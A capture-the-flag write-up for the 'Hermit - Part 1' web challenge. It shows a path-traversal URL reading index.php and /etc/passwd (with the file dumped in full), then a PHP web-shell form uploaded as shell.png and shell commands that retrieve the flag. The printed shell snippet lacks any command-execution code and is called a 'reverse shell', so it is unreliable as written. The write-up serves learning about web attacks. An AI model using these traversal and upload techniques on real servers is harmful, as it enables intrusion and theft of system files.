# Hermit - Part 1
By [Siorde](https://github.com/Siorde)
## DescriptionHelp henry find a new shell.It is a website where we can upload an image and then display this image.With that we need to get the flag that must be in a file on the host.
## SolutionAfter uploading my first image, i saw that in the URl we use the name of the image to display it in the browser. So i tried to specifie a path to get other files.```http://34.121.84.161:8086/show.php?filename=../index.php```Instead of the image i got the base64 of the index. So my first thougth was that we need to get the flag through this get_content.I tried several path like ../flag, ../../../../flag, ../../../../root/flag.All i got  was "no such file or directory", or "acces denied".Willing to see how far we could go, i tried ../../../../etc/passwd, and i got it : ```root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:104:106::/nonexistent:/usr/sbin/nologinsshd:x:105:65534::/run/sshd:/usr/sbin/nologinhermit:x:1000:1000::/home/hermit:/bin/sh```I saw a user call "hermit", so i tried his home with ../../../../home/hermit/flag, and i got a "Is a directory". So I knew that the flag was there, but i could not guess the name of the file.After a lot of try, i decided to try another approach.I created a file name shell.png with this content : ```<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form>```And i upload it on the server. I got a reverse shell, so from now it was really easy.```ls ../../../home/hermit/flag/-> userflag.txtcat ../../../home/hermit/flag/userflag.txt-> UMASS{a_picture_paints_a_thousand_shells}```And there was the flag.